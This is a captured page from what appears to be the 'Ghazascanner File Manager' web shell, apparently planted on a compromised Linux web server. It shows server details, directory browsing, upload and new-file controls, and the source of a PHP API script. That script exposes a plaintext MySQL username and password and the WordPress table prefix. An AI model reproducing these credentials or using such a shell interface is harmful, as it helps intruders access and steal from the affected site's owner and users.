@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phpmyadmin-ubuntu-m-2vcpu-16gb-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Current Path :
/
var
/
www
/
html
/
api
/
Path :
Upload File :
New :
File
Dir
/var/www/html/api/property_category.php
<!DOCTYPE html> <html> <head> <title>Webslesson Tutorial | Convert Data from Mysql to JSON Format using PHP</title> </head> <body> <?php $connect = mysqli_connect("localhost", "admin", "63144f7f62ffb6a71e9bbc8aa5e59a7e046b64d7ed9899f8", "yeni"); $sql = "SELECT t.*, tt.* FROM wp_c745ascy1l_terms AS t INNER JOIN wp_c745ascy1l_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('property_category') ORDER BY t.name ASC"; $result = mysqli_query($connect, $sql); $json_array = array(); while($row = mysqli_fetch_assoc($result)) { $json_array[] = $row; } /*echo '<pre>'; print_r(json_encode($json_array)); echo '</pre>';*/ echo json_encode($json_array); ?> </body> </html>